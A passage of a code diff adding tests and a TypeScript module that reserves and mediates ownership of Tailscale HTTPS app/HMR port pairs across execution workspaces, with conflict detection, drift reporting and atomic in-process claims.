+        exposure: { state: "ready", listeners: [{ targetPort: 42001 }, { targetPort: 52001 }] },
+        executionWorkspaceId: OTHER_WORKSPACE,
+        projectWorkspaceId: null,
+        issueId: null,
+      },
+    ];
+    const ledger = buildExposureReservationLedger({
+      persistedRows: rows,
+      brokerMappings: [{ runtimeId: "runtime-posthog", port: 42001 }],
+    });
+
+    expect(ledger.reservationByPort.get(42001)).toMatchObject({
+      source: "broker_mapping",
+      owner: { executionWorkspaceId: OTHER_WORKSPACE },
+    });
+
+    const conflict = findExposurePairConflict({
+      pair: { appPort: 42001, hmrPort: 52001 },
+      claimant: identity({ executionWorkspaceId: LEASED_WORKSPACE }),
+      ledger,
+      serveMappingOwners: new Map([[42001, identity({ executionWorkspaceId: OTHER_WORKSPACE })]]),
+    });
+    expect(conflict).toMatchObject({ port: 42001 });
+    expect(describeExposurePortConflict(conflict!)).toContain(OTHER_WORKSPACE);
+  });
+
+  it("reports a serve-mapping mismatch when the ledger alone would allow it", () => {
+    const conflict = findExposurePairConflict({
+      pair: { appPort: 42005, hmrPort: 52005 },
+      claimant: identity({ executionWorkspaceId: LEASED_WORKSPACE }),
+      ledger: buildExposureReservationLedger({}),
+      serveMappingOwners: new Map([[52005, identity({ executionWorkspaceId: OTHER_WORKSPACE })]]),
+    });
+
+    expect(conflict).toMatchObject({ code: "serve_mapping_owned_by_other_workspace", port: 52005 });
+    expect(describeExposurePortConflict(conflict!)).toContain("Tailscale Serve mapping");
+  });
+
+  it("surfaces a stopped/removed row whose reserved port is mapped to another runtime", () => {
+    const drift = findExposureReservationDrift({
+      persistedRows: [
+        stoppedTornDownRow(),
+        {
+          id: "runtime-posthog",
+          status: "running",
+          port: null,
+          exposure: null,
+          executionWorkspaceId: OTHER_WORKSPACE,
+          projectWorkspaceId: null,
+          issueId: null,
+        },
+      ],
+      brokerMappings: [{ runtimeId: "runtime-posthog", port: 42001 }],
+    });
+
+    expect(drift).toHaveLength(1);
+    expect(drift[0]).toMatchObject({
+      runtimeServiceId: "runtime-lane-b",
+      port: 42001,
+      reason: "serve_mapping",
+      conflictingOwner: { executionWorkspaceId: OTHER_WORKSPACE },
+    });
+    const description = describeExposureReservationDrift(drift[0]!);
+    expect(description).toContain("recorded stopped/removed");
+    expect(description).toContain(OTHER_WORKSPACE);
+  });
+
+  it("surfaces a stopped/removed row whose reserved port still has a live listener", () => {
+    const drift = findExposureReservationDrift({
+      persistedRows: [stoppedTornDownRow()],
+      livePorts: new Set([52001]),
+    });
+
+    expect(drift).toMatchObject([{ port: 52001, reason: "live_listener", conflictingOwner: null }]);
+  });
+
+  it("does not call a lane's own live listener drift", () => {
+    const drift = findExposureReservationDrift({
+      persistedRows: [stoppedTornDownRow()],
+      livePorts: new Set([42001]),
+      listenerOwners: new Map([[42001, identity({ runtimeServiceId: "runtime-lane-b" })]]),
+    });
+
+    expect(drift).toEqual([]);
+  });
+
+  it("does not report a healthy running lane as drift", () => {
+    const drift = findExposureReservationDrift({
+      persistedRows: [{
+        id: "runtime-lane-a",
+        status: "running",
+        port: 42000,
+        exposure: { state: "ready", listeners: [{ targetPort: 42000 }, { targetPort: 52000 }] },
+        executionWorkspaceId: LEASED_WORKSPACE,
+        projectWorkspaceId: null,
+        issueId: null,
+      }],
+      livePorts: new Set([42000, 52000]),
+      brokerMappings: [{ runtimeId: "runtime-lane-a", port: 42000 }],
+    });
+
+    expect(drift).toEqual([]);
+  });
+});
+
+describe("regression 4: concurrent allocators return unique pairs", () => {
+  it("claims both ports of a pair or neither", () => {
+    const claims = new ExposurePortPairClaims();
+    expect(claims.claim({ appPort: 42000, hmrPort: 52000 }, 0)).toBe(true);
+    // Overlapping on either port is refused, and the refusal must not leave a
+    // partial hold behind.
+    expect(claims.claim({ appPort: 42000, hmrPort: 52000 }, 0)).toBe(false);
+    expect(claims.claim({ appPort: 42001, hmrPort: 52000 }, 0)).toBe(false);
+    expect([...claims.activePorts(0)].sort()).toEqual([42000, 52000]);
+  });
+
+  it("expires a claim after its TTL so a crashed start cannot burn the range", () => {
+    const claims = new ExposurePortPairClaims(1_000);
+    expect(claims.claim({ appPort: 42000, hmrPort: 52000 }, 0)).toBe(true);
+    expect(claims.claim({ appPort: 42000, hmrPort: 52000 }, 500)).toBe(false);
+    expect(claims.claim({ appPort: 42000, hmrPort: 52000 }, 1_001)).toBe(true);
+  });
+
+  it("hands two concurrent allocators distinct pairs", async () => {
+    const claims = new ExposurePortPairClaims();
+    const allocate = () => allocateExposurePortPair({
+      isPortAvailable: async () => true,
+      claimPair: (pair) => claims.claim(pair),
+    });
+
+    const [first, second, third] = await Promise.all([allocate(), allocate(), allocate()]);
+
+    expect(first).toEqual({ appPort: 42000, hmrPort: 52000 });
+    expect(second).toEqual({ appPort: 42001, hmrPort: 52001 });
+    expect(third).toEqual({ appPort: 42002, hmrPort: 52002 });
+  });
+
+  it("gives concurrent allocators distinct pairs even when both prefer the same port", async () => {
+    const claims = new ExposurePortPairClaims();
+    const allocate = () => allocateExposurePortPair({
+      isPortAvailable: async () => true,
+      preferredAppPort: 42007,
+      claimPair: (pair) => claims.claim(pair),
+    });
+
+    const [first, second] = await Promise.all([allocate(), allocate()]);
+
+    expect(first.appPort).toBe(42007);
+    expect(second.appPort).not.toBe(42007);
+    expect(second.hmrPort).not.toBe(first.hmrPort);
+  });
+
+  it("does not claim a pair it rejects for availability", async () => {
+    const claims = new ExposurePortPairClaims();
+    await allocateExposurePortPair({
+      isPortAvailable: async (port) => port !== 42000 && port !== 52000,
+      claimPair: (pair) => claims.claim(pair),
+    });
+
+    // 42000 was probed and refused; holding it would waste the port for a full TTL.
+    expect(claims.activePorts()).toEqual(new Set([42001, 52001]));
+  });
+
+  it("folds live claims into a ledger so a second allocator sees them", () => {
+    const claims = new ExposurePortPairClaims();
+    claims.claim({ appPort: 42000, hmrPort: 52000 }, 0);
+    const ledger = buildExposureReservationLedger({ inFlightClaimedPorts: claims.activePorts(0) });
+
+    expect(findExposurePairConflict({
+      pair: { appPort: 42000, hmrPort: 52000 },
+      claimant: identity({ executionWorkspaceId: OTHER_WORKSPACE }),
+      ledger,
+    })).toMatchObject({ code: "reserved_by_other_workspace" });
+  });
+});
+
+describe("regression 5: release/teardown makes the pair reusable, sparing manual mappings", () => {
+  it("frees the pair once the lease is released", () => {
+    const row = stoppedTornDownRow();
+    const leased = buildExposureReservationLedger({
+      persistedRows: [row],
+      activeExecutionWorkspaceIds: [LEASED_WORKSPACE],
+    });
+    expect(leased.reservedPorts.has(42001)).toBe(true);
+
+    // Lease released: the workspace is archived/closed, so it no longer appears.
+    const released = buildExposureReservationLedger({
+      persistedRows: [row],
+      activeExecutionWorkspaceIds: [],
+    });
+
+    expect(released.reservedPorts.has(42001)).toBe(false);
+    expect(findExposurePairConflict({
+      pair: { appPort: 42001, hmrPort: 52001 },
+      claimant: identity({ executionWorkspaceId: OTHER_WORKSPACE }),
+      ledger: released,
+    })).toBeNull();
+  });
+
+  it("releases an in-process claim on teardown", () => {
+    const claims = new ExposurePortPairClaims();
+    claims.claim({ appPort: 42001, hmrPort: 52001 }, 0);
+    claims.release({ appPort: 42001, hmrPort: 52001 });
+
+    expect(claims.activePorts(0).size).toBe(0);
+    expect(claims.claim({ appPort: 42001, hmrPort: 52001 }, 0)).toBe(true);
+  });
+
+  it("keeps quarantined ports out of circulation after release", () => {
+    const ledger = buildExposureReservationLedger({
+      persistedRows: [stoppedTornDownRow()],
+      activeExecutionWorkspaceIds: [],
+      quarantinedPorts: [42001],
+    });
+
+    const conflict = findExposurePairConflict({
+      pair: { appPort: 42001, hmrPort: 52001 },
+      claimant: identity({ executionWorkspaceId: OTHER_WORKSPACE }),
+      ledger,
+    });
+    expect(conflict).toMatchObject({ code: "quarantined_port" });
+    expect(describeExposurePortConflict(conflict!)).toContain("quarantined");
+  });
+
+  it("never reserves or reports a manual/unknown mapping the broker does not own", () => {
+    // The broker's `list()` structurally cannot return unknown/manual entries,
+    // so a manual mapping on 42010 reaches neither the ledger nor drift. Assert
+    // the absence explicitly: a release path that started reserving or
+    // reporting them would be the PAP-17285 regression coming back.
+    const ledger = buildExposureReservationLedger({
+      persistedRows: [stoppedTornDownRow()],
+      activeExecutionWorkspaceIds: [],
+      brokerMappings: [],
+    });
+    expect(ledger.reservedPorts.has(42010)).toBe(false);
+
+    expect(findExposureReservationDrift({
+      persistedRows: [stoppedTornDownRow({ port: 42010 })],
+      brokerMappings: [],
+    })).toEqual([]);
+  });
+
+  it("lets a fresh workspace take the released pair end to end", async () => {
+    const claims = new ExposurePortPairClaims();
+    const ledger = buildExposureReservationLedger({
+      persistedRows: [stoppedTornDownRow()],
+      activeExecutionWorkspaceIds: [],
+      inFlightClaimedPorts: claims.activePorts(),
+    });
+
+    const pair = await allocateExposurePortPair({
+      isPortAvailable: async (port) => port >= 42001,
+      reserved: ledger.reservedPorts,
+      preferredAppPort: 42001,
+      claimPair: (candidate) => claims.claim(candidate),
+    });
+
+    expect(pair).toEqual({ appPort: 42001, hmrPort: 52001 });
+    expect(findExposurePairConflict({
+      pair,
+      claimant: identity({ executionWorkspaceId: OTHER_WORKSPACE }),
+      ledger,
+    })).toBeNull();
+  });
+});
+
+describe("reservation precedence", () => {
+  it("reports the strongest available evidence for a contested port", () => {
+    const ledger = buildExposureReservationLedger({
+      persistedRows: [stoppedTornDownRow()],
+      activeExecutionWorkspaceIds: [LEASED_WORKSPACE],
+      inMemoryRuntimes: [{
+        runtimeServiceId: "runtime-lane-b",
+        executionWorkspaceId: LEASED_WORKSPACE,
+        projectWorkspaceId: null,
+        issueId: LEASED_ISSUE,
+        ports: [42001],
+      }],
+      brokerMappings: [{ runtimeId: "runtime-lane-b", port: 42001 }],
+    });
+
+    // Running in this process beats a Serve mapping, which beats the lease.
+    expect(ledger.reservationByPort.get(42001)?.source).toBe("in_memory_runtime");
+    expect(ledger.reservationByPort.get(52001)?.source).toBe("leased_workspace");
+  });
+
+  it("quarantine outranks every other claim", () => {
+    const ledger = buildExposureReservationLedger({
+      persistedRows: [stoppedTornDownRow()],
+      activeExecutionWorkspaceIds: [LEASED_WORKSPACE],
+      quarantinedPorts: [42001],
+    });
+
+    expect(ledger.reservationByPort.get(42001)?.source).toBe("quarantine");
+    // Even the leaseholder cannot take a quarantined port back.
+    expect(findExposurePairConflict({
+      pair: { appPort: 42001, hmrPort: 52001 },
+      claimant: identity({ executionWorkspaceId: LEASED_WORKSPACE }),
+      ledger,
+    })).toMatchObject({ code: "quarantined_port" });
+  });
+
+  it("names an unresolvable broker runtime rather than reporting no holder", () => {
+    const ledger = buildExposureReservationLedger({
+      brokerMappings: [{ runtimeId: "runtime-vanished", port: 42003 }],
+    });
+
+    const conflict = findExposurePairConflict({
+      pair: { appPort: 42003, hmrPort: 52003 },
+      claimant: identity({ executionWorkspaceId: OTHER_WORKSPACE }),
+      ledger,
+    });
+    expect(describeExposurePortConflict(conflict!)).toContain("runtime-vanished");
+  });
+});
diff --git a/server/src/services/runtime-exposure/port-reservation.ts b/server/src/services/runtime-exposure/port-reservation.ts
new file mode 100644
index 00000000000..5fbb5659c2a
--- /dev/null
+++ b/server/src/services/runtime-exposure/port-reservation.ts
@@ -0,0 +1,539 @@
+/**
+ * Central reservation + ownership mediation for `tailscale_https` app/HMR port
+ * pairs (PAP-17419, from the PAP-17251 finding).
+ *
+ * ## Why this module exists
+ *
+ * Before it, "is this pair free?" was answered by three unrelated views that
+ * never had to agree:
+ *
+ *  1. the allocator's liveness probe — is anything *listening* right now,
+ *  2. `collectReservedExposurePorts` — persisted rows, but only those whose
+ *     `exposure.state` was not yet `removed`,
+ *  3. the broker's Serve mapping — consulted nowhere on the allocation path.
+ *
+ * A workspace can hold an exclusive lease on a pair while satisfying none of
+ * those: stop the backend and the listener is gone; tear the exposure down and
+ * the row goes `stopped` with `exposure.state = "removed"` **and an emptied
+ * `listeners` array**, so the row stops contributing anything to the reserved
+ * set even though its `port` column still names the pair the lease owns. That
+ * is exactly how the pair leased to workspace `b7ce28b4` (`42001/52001`) was
+ * handed to the unrelated workspace `PAP-16986-add-posthog-mcp`, while
+ * Paperclip went on reporting the leased lane `stopped` and its exposure
+ * `removed`.
+ *
+ * ## The mediation this module centralizes
+ *
+ * - **Reservation follows the lease, not the process.** An execution workspace
+ *   whose lease is still open reserves its pair through stop, teardown, and
+ *   `removed` — until the lease is explicitly released. {@link
+ *   buildExposureReservationLedger} derives the pair from the row's `port`
+ *   column precisely because teardown erases `exposure.listeners`.
+ * - **Complete mediation on allocation.** {@link findExposurePairConflict}
+ *   checks the persisted ledger *and* the live listener owner *and* the Serve
+ *   mapping owner. Any of the three disagreeing fails the allocation closed,
+ *   naming the conflicting workspace/issue.
+ * - **No adoption across execution workspaces, ever.** {@link
+ *   isExposureAdoptionPermitted} is the single predicate for "may this claimant
+ *   take over that holder's port", and it answers no whenever the two execution
+ *   workspace IDs are not the identical, non-null value.
+ * - **Drift is surfaced, not silently reused.** {@link
+ *   findExposureReservationDrift} reports a `stopped`/`removed` row whose
+ *   reserved ports are live or mapped by someone else, so reconciliation can
+ *   report a false-`stopped` lane instead of recycling it.
+ *
+ * Pure functions and one in-process claim registry: no sockets, no DB, no
+ * broker. Every caller injects its own view, which is what makes all five
+ * PAP-17419 regression cases testable without touching host Serve state.
+ */
+import { deriveViteHmrPort, isRuntimeExposureAppPort } from "@paperclipai/shared";
+
+/**
+ * Who holds (or wants) a port pair. Every field is optional evidence — a
+ * conflict report is only as specific as the views that produced it — but
+ * `executionWorkspaceId` is the identity that governs adoption.
+ */
+export interface ExposureOwnerIdentity {
+  runtimeServiceId: string | null;
+  executionWorkspaceId: string | null;
+  projectWorkspaceId: string | null;
+  issueId: string | null;
+}
+
+/** Where a reservation came from, ordered by strength of evidence below. */
+export type ExposureReservationSource =
+  /** This process is running the runtime that owns the pair. */
+  | "in_memory_runtime"
+  /** The broker reports a live Paperclip-owned Serve mapping on the port. */
+  | "broker_mapping"
+  /** A persisted row still claims an exposure that is not `removed`. */
+  | "persisted_exposure"
+  /** A stopped/removed row whose execution-workspace lease is still open. */
+  | "leased_workspace"
+  /** Quarantined after an ambiguous cleanup; never reusable by anyone. */
+  | "quarantine";
+
+/**
+ * Precedence when several views claim one port. Strongest first: the report
+ * should name the most concrete evidence available, so an operator reading
+ * "held by the live Serve mapping for workspace X" is not told "reserved by a
+ * lease" when both are true.
+ */
+const RESERVATION_SOURCE_RANK: Record<ExposureReservationSource, number> = {
+  quarantine: 0,
+  in_memory_runtime: 1,
+  broker_mapping: 2,
+  persisted_exposure: 3,
+  leased_workspace: 4,
+};
+
+export interface ExposurePortReservation {
+  port: number;
+  source: ExposureReservationSource;
+  owner: ExposureOwnerIdentity;
+}
+
+export interface ExposureReservationLedger {
+  /** Every port currently spoken for, whoever holds it. */
+  reservedPorts: ReadonlySet<number>;
+  /** Strongest-evidence reservation per port. */
+  reservationByPort: ReadonlyMap<number, ExposurePortReservation>;
+}
+
+/**
+ * The subset of a `workspace_runtime_services` row this module reasons about.
+ * Deliberately structural rather than the Drizzle row type: startup
+ * reconciliation, allocation, and tests all project into it from different
+ * queries.
+ */
+export interface PersistedExposureRowSnapshot {
+  id: string;
+  status: string;
+  executionWorkspaceId: string | null;
+  projectWorkspaceId: string | null;
+  issueId: string | null;
+  /** App port column; survives teardown and is the lease's durable claim. */
+  port: number | null;
+  exposure: {
+    state: string;
+    listeners: ReadonlyArray<{ targetPort: number }>;
+  } | null;
+}
+
+/** A runtime this process is currently running with an exposure attached. */
+export interface InMemoryExposureSnapshot {
+  runtimeServiceId: string;
+  executionWorkspaceId: string | null;
+  projectWorkspaceId: string | null;
+  issueId: string | null;
+  ports: ReadonlyArray<number>;
+}
+
+/** One Paperclip-owned listener as reported by the broker's `list()`. */
+export interface BrokerMappingSnapshot {
+  runtimeId: string;
+  port: number;
+}
+
+export interface BuildExposureReservationLedgerInput {
+  persistedRows?: Iterable<PersistedExposureRowSnapshot>;
+  inMemoryRuntimes?: Iterable<InMemoryExposureSnapshot>;
+  brokerMappings?: Iterable<BrokerMappingSnapshot>;
+  quarantinedPorts?: Iterable<number>;
+  /**
+   * Execution workspaces whose exclusive lease is still open. A row belonging
+   * to one of these reserves its pair regardless of process or exposure state;
+   * that is the whole fix for "stopped-but-leased pair reuse".
+   */
+  activeExecutionWorkspaceIds?: Iterable<string>;
+  /** In-process pair claims held by starts that have not bound a listener yet. */
+  inFlightClaimedPorts?: Iterable<number>;
+}
+
+function emptyIdentity(): ExposureOwnerIdentity {
+  return {
+    runtimeServiceId: null,
+    executionWorkspaceId: null,
+    projectWorkspaceId: null,
+    issueId: null,
+  };
+}
+
+/**
+ * Every port a row's pair covers.
+ *
+ * The union of the exposure's declared listeners and the pair derived from the
+ * `port` column matters: `deprovisionExposure` replaces the status with a fresh
+ * `removed` one whose `listeners` is `[]`, so a torn-down row would otherwise
+ * contribute nothing at all. The `port` column is what still names the pair the
+ * lease paid for.
+ */
+export function collectRowExposurePorts(row: PersistedExposureRowSnapshot): Set<number> {
+  const ports = new Set<number>();
+  for (const listener of row.exposure?.listeners ?? []) {
+    if (Number.isInteger(listener.targetPort)) ports.add(listener.targetPort);
+  }
+  if (row.port !== null && isRuntimeExposureAppPort(row.port)) {
+    ports.add(row.port);
+    ports.add(deriveViteHmrPort(row.port));
+  }
+  return ports;
+}
+
+/** True when the row's own exposure state still claims the mapping. */
+function rowClaimsLiveExposure(row: PersistedExposureRowSnapshot): boolean {
+  return Boolean(row.exposure) && row.exposure!.state !== "removed";
+}
+
+function rowIdentity(row: PersistedExposureRowSnapshot): ExposureOwnerIdentity {
+  return {
+    runtimeServiceId: row.id,
+    executionWorkspaceId: row.executionWorkspaceId,
+    projectWorkspaceId: row.projectWorkspaceId,
+    issueId: row.issueId,
+  };
+}
+
+/**
+ * Merge every reservation view into one ledger. Later, weaker evidence never
+ * overwrites a stronger claim already recorded for the same port.
+ */
+export function buildExposureReservationLedger(
+  input: BuildExposureReservationLedgerInput,
+): ExposureReservationLedger {
+  const reservationByPort = new Map<number, ExposurePortReservation>();
+
+  const record = (port: number, source: ExposureReservationSource, owner: ExposureOwnerIdentity) => {
+    if (!Number.isInteger(port)) return;
+    const existing = reservationByPort.get(port);
+    if (existing && RESERVATION_SOURCE_RANK[existing.source] <= RESERVATION_SOURCE_RANK[source]) return;
+    reservationByPort.set(port, { port, source, owner });
+  };
+
+  const activeLeases = new Set(input.activeExecutionWorkspaceIds ?? []);
+
+  for (const port of input.quarantinedPorts ?? []) record(port, "quarantine", emptyIdentity());
+  // An in-flight claim has no identity yet by construction — the claiming start
+  // has not persisted a row. It still must block a concurrent allocator.
+  for (const port of input.inFlightClaimedPorts ?? []) record(port, "in_memory_runtime", emptyIdentity());
+
+  for (const runtime of input.inMemoryRuntimes ?? []) {
+    const owner: ExposureOwnerIdentity = {
+      runtimeServiceId: runtime.runtimeServiceId,
+      executionWorkspaceId: runtime.executionWorkspaceId,
+      projectWorkspaceId: runtime.projectWorkspaceId,
+      issueId: runtime.issueId,
+    };
+    for (const port of runtime.ports) record(port, "in_memory_runtime", owner);
+  }
+
+  // Broker mappings identify a runtime, not a workspace; resolve the workspace
+  // from the persisted rows when we can so a conflict can name it.
+  const rows = [...(input.persistedRows ?? [])];
+  const identityByRuntimeId = new Map(rows.map((row) => [row.id, rowIdentity(row)]));
+  for (const mapping of input.brokerMappings ?? []) {
+    record(
+      mapping.port,
+      "broker_mapping",
+      identityByRuntimeId.get(mapping.runtimeId)
+        ?? { ...emptyIdentity(), runtimeServiceId: mapping.runtimeId },
+    );
+  }
+
+  for (const row of rows) {
+    const leaseOpen = Boolean(row.executionWorkspaceId) && activeLeases.has(row.executionWorkspaceId!);
+    const claimsExposure = rowClaimsLiveExposure(row);
+    if (!leaseOpen && !claimsExposure) continue;
+    const source: ExposureReservationSource = claimsExposure ? "persisted_exposure" : "leased_workspace";
+    for (const port of collectRowExposurePorts(row)) record(port, source, rowIdentity(row));
+  }
+
+  return { reservationByPort, reservedPorts: new Set(reservationByPort.keys()) };
+}
+
+/**
+ * May `claimant` take over a port currently attributed to `holder`?
+ *
+ * The rule is deliberately narrow, because the failure this prevents is a
+ * managed start silently adopting another issue's live service and then
+ * generating security evidence attributed to the wrong workspace:
+ *
+ *  - the same runtime service reclaiming its own port is fine (restart);
+ *  - otherwise both sides must name the *same, non-null* execution workspace.
+ *
+ * An unknown identity on either side is never adopted. "We could not tell whose
+ * it is" is a reason to fail closed, not a reason to assume it is ours.
+ */
+export function isExposureAdoptionPermitted(
+  holder: ExposureOwnerIdentity | null,
+  claimant: ExposureOwnerIdentity,
+): boolean {
+  if (!holder) return true;
+  if (
+    holder.runtimeServiceId !== null
+    && claimant.runtimeServiceId !== null
+    && holder.runtimeServiceId === claimant.runtimeServiceId
+  ) {
+    return true;
+  }
+  if (holder.executionWorkspaceId === null || claimant.executionWorkspaceId === null) return false;
+  return holder.executionWorkspaceId === claimant.executionWorkspaceId;
+}
+
+export type ExposurePortConflictCode =
+  | "quarantined_port"
+  | "reserved_by_other_workspace"
+  | "listener_owned_by_other_workspace"
+  | "serve_mapping_owned_by_other_workspace";
+
+export interface ExposurePortConflict {
+  code: ExposurePortConflictCode;
+  port: number;
+  claimant: ExposureOwnerIdentity;
+  holder: ExposureOwnerIdentity | null;
+  source: ExposureReservationSource | null;
+}
+
+export interface FindExposurePairConflictInput {
+  pair: { appPort: number; hmrPort: number };
+  claimant: ExposureOwnerIdentity;
+  ledger: ExposureReservationLedger;
+  /**
+   * Identity behind the process actually listening on each port, when one could
+   * be resolved. `null` for a port with a live listener whose owner is unknown —
+   * which is itself a conflict, since an unattributable listener must never be
+   * adopted.
+   */
+  listenerOwners?: ReadonlyMap<number, ExposureOwnerIdentity | null>;
+  /** Identity behind each live Serve mapping, keyed by port. */
+  serveMappingOwners?: ReadonlyMap<number, ExposureOwnerIdentity | null>;
+}
+
+/**
+ * Complete mediation for one candidate pair: the first conflict across the
+ * persisted ledger, the live listeners, and the Serve mappings — or null when
+ * all three agree the claimant may have it.
+ */
+export function findExposurePairConflict(
+  input: FindExposurePairConflictInput,
+): ExposurePortConflict | null {
+  const ports = [input.pair.appPort, input.pair.hmrPort];
+
+  for (const port of ports) {
+    const reservation = input.ledger.reservationByPort.get(port);
+    if (!reservation) continue;
+    if (reservation.source === "quarantine") {
+      return { code: "quarantined_port", port, claimant: input.claimant, holder: null, source: "quarantine" };
+    }
+    if (!isExposureAdoptionPermitted(reservation.owner, input.claimant)) {
+      return {
+        code: "reserved_by_other_workspace",
+        port,
+        claimant: input.claimant,
+        holder: reservation.owner,
+        source: reservation.source,
+      };
+    }
+  }
+
+  // Presence in these maps means the host has something on the port. A `null`
+  // value is therefore NOT "no holder" — it is "a holder we could not name",
+  // which is the one case that must never be adopted. `isExposureAdoptionPermitted`
+  // is only consulted once we have an identity to compare.
+  for (const port of ports) {
+    if (!input.listenerOwners?.has(port)) continue;
+    const owner = input.listenerOwners.get(port) ?? null;
+    if (owner === null || !isExposureAdoptionPermitted(owner, input.claimant)) {
+      return {
+        code: "listener_owned_by_other_workspace",
+        port,
+        claimant: input.claimant,
+        holder: owner,
+        source: null,
+      };
+    }
+  }
+
+  for (const port of ports) {
+    if (!input.serveMappingOwners?.has(port)) continue;
+    const owner = input.serveMappingOwners.get(port) ?? null;
+    if (owner === null || !isExposureAdoptionPermitted(owner, input.claimant)) {
+      return {
+        code: "serve_mapping_owned_by_other_workspace",
+        port,
+        claimant: input.claimant,
+        holder: owner,
+        source: null,
+      };
+    }
+  }
+
+  return null;
+}
+
+function describeIdentity(identity: ExposureOwnerIdentity | null): string {
+  if (!identity) return "an unidentified owner";
+  const parts: string[] = [];
+  if (identity.executionWorkspaceId) parts.push(`execution workspace ${identity.executionWorkspaceId}`);
+  if (identity.issueId) parts.push(`issue ${identity.issueId}`);
+  if (identity.runtimeServiceId) parts.push(`runtime service ${identity.runtimeServiceId}`);
+  if (identity.projectWorkspaceId && parts.length === 0) {
+    parts.push(`project workspace ${identity.projectWorkspaceId}`);
+  }
+  return parts.length > 0 ? parts.join(", ") : "an unidentified owner";
+}
+
+const CONFLICT_REASONS: Record<ExposurePortConflictCode, string> = {
+  quarantined_port: "is quarantined after an ambiguous exposure cleanup and can never be reused",
+  reserved_by_other_workspace: "is reserved by",
+  listener_owned_by_other_workspace: "has a live loopback listener owned by",
+  serve_mapping_owned_by_other_workspace: "is published by a Tailscale Serve mapping owned by",
+};
+
+/**
+ * Operator-facing conflict text. Always names the port and the conflicting
+ * workspace/issue identity: a bare "port unavailable" is what made the original
+ * incident take a manual `tailscale serve status` read to attribute.
+ */
+export function describeExposurePortConflict(conflict: ExposurePortConflict): string {
+  const subject = `port ${conflict.port}`;
+  if (conflict.code === "quarantined_port") {
+    return `${subject} ${CONFLICT_REASONS.quarantined_port}`;
+  }
+  const suffix = conflict.source === "leased_workspace"
+    ? " (the lane is stopped, but its lease is still open)"
+    : "";
+  return `${subject} ${CONFLICT_REASONS[conflict.code]} ${describeIdentity(conflict.holder)}${suffix}`;
+}
+
+/** Thrown on the allocation/start path so the failure is terminal and attributed. */
+export class ExposurePortOwnershipConflictError extends Error {
+  readonly code = "exposure_port_ownership_conflict" as const;
+
+  constructor(readonly conflict: ExposurePortConflict) {
+    super(`HTTPS exposure allocation denied: ${describeExposurePortConflict(conflict)}`);
+    this.name = "ExposurePortOwnershipConflictError";
+  }
+}
+
+export interface ExposureReservationDrift {
+  /** The row Paperclip believes is stopped/removed. */
+  runtimeServiceId: string;
+  owner: ExposureOwnerIdentity;
+  port: number;
+  reason: "live_listener" | "serve_mapping";
+  /** Who actually holds it, when that could be attributed. */
+  conflictingOwner: ExposureOwnerIdentity | null;
+}
+
+export interface FindExposureReservationDriftInput {
+  persistedRows: Iterable<PersistedExposureRowSnapshot>;
+  /** Ports with a live loopback listener right now. */
+  livePorts?: ReadonlySet<number>;
+  listenerOwners?: ReadonlyMap<number, ExposureOwnerIdentity | null>;
+  brokerMappings?: Iterable<BrokerMappingSnapshot>;
+}
+
+/**
+ * Rows whose state says "nothing here" while the host says otherwise.
+ *
+ * Reconciliation calls this so a lane reported `stopped` with its exposure
+ * `removed` — but whose reserved ports are live, or mapped to some other
+ * runtime — becomes a visible, attributable finding instead of a pair that
+ * quietly returns to the free list. A port still held by the row's *own*
+ * runtime is not drift; that is just a lane the sweep has yet to adopt.
+ */
+export function findExposureReservationDrift(
+  input: FindExposureReservationDriftInput,
+): ExposureReservationDrift[] {
+  const rows = [...input.persistedRows];
+  const identityByRuntimeId = new Map(rows.map((row) => [row.id, rowIdentity(row)]));
+  const mappingOwnerByPort = new Map<number, ExposureOwnerIdentity>();
+  for (const mapping of input.brokerMappings ?? []) {
+    mappingOwnerByPort.set(
+      mapping.port,
+      identityByRuntimeId.get(mapping.runtimeId)
+        ?? { ...emptyIdentity(), runtimeServiceId: mapping.runtimeId },
+    );
+  }
+
+  const drift: ExposureReservationDrift[] = [];
+  for (const row of rows) {
+    const dormant = row.status === "stopped" || row.status === "failed" || !rowClaimsLiveExposure(row);
+    if (!dormant) continue;
+    const owner = rowIdentity(row);
+    for (const port of collectRowExposurePorts(row)) {
+      const mappingOwner = mappingOwnerByPort.get(port) ?? null;
+      if (mappingOwner && mappingOwner.runtimeServiceId !== row.id) {
+        drift.push({ runtimeServiceId: row.id, owner, port, reason: "serve_mapping", conflictingOwner: mappingOwner });
+        continue;
+      }
+      if (!input.livePorts?.has(port)) continue;
+      const listenerOwner = input.listenerOwners?.get(port) ?? null;
+      if (listenerOwner && listenerOwner.runtimeServiceId === row.id) continue;
+      drift.push({ runtimeServiceId: row.id, owner, port, reason: "live_listener", conflictingOwner: listenerOwner });
+    }
+  }
+  return drift;
+}
+
+/** Human-readable drift line for reconciliation logs and operator evidence. */
+export function describeExposureReservationDrift(entry: ExposureReservationDrift): string {
+  const held = entry.reason === "serve_mapping"
+    ? "is still published by a Tailscale Serve mapping"
+    : "still has a live loopback listener";
+  return (
+    `runtime service ${entry.runtimeServiceId} (${describeIdentity(entry.owner)}) is recorded stopped/removed, `
+    + `but its reserved port ${entry.port} ${held} owned by ${describeIdentity(entry.conflictingOwner)}`
+  );
+}
+
+/**
+ * In-process, pair-atomic claims for starts that have not bound a listener yet.
+ *
+ * Two concurrent allocators see identical persisted state and identical probe
+ * results, so without a claim they both walk away with the lowest free pair.
+ * Claiming is all-or-nothing across the two ports: a half-claimed pair would
+ * let one start own the app port and another the HMR port, which is the
+ * orphaned-companion failure the pairing exists to prevent.
+ */
+export class ExposurePortPairClaims {
+  private readonly heldUntilByPort = new Map<number, number>();
+
+  constructor(private readonly ttlMs: number = 120_000) {}
+
+  private isHeld(port: number, nowMs: number): boolean {
+    const heldUntil = this.heldUntilByPort.get(port);
+    if (heldUntil === undefined) return false;
+    if (heldUntil > nowMs) return true;
+    this.heldUntilByPort.delete(port);
+    return false;
+  }
+
+  /** Claim both ports, or neither. Returns false when either is already held. */
+  claim(pair: { appPort: number; hmrPort: number }, nowMs: number = Date.now()): boolean {
+    if (this.isHeld(pair.appPort, nowMs) || this.isHeld(pair.hmrPort, nowMs)) return false;
+    this.heldUntilByPort.set(pair.appPort, nowMs + this.ttlMs);
+    this.heldUntilByPort.set(pair.hmrPort, nowMs + this.ttlMs);
+    return true;
+  }
+
+  /** Release on lease release/teardown, or when a start reaches a terminal state. */
+  release(pair: { appPort: number; hmrPort: number }): void {
+    this.heldUntilByPort.delete(pair.appPort);
+    this.heldUntilByPort.delete(pair.hmrPort);
+  }
+
+  /** Ports still claimed, for folding into an allocator's reserved set. */
+  activePorts(nowMs: number = Date.now()): Set<number> {
+    const active = new Set<number>();
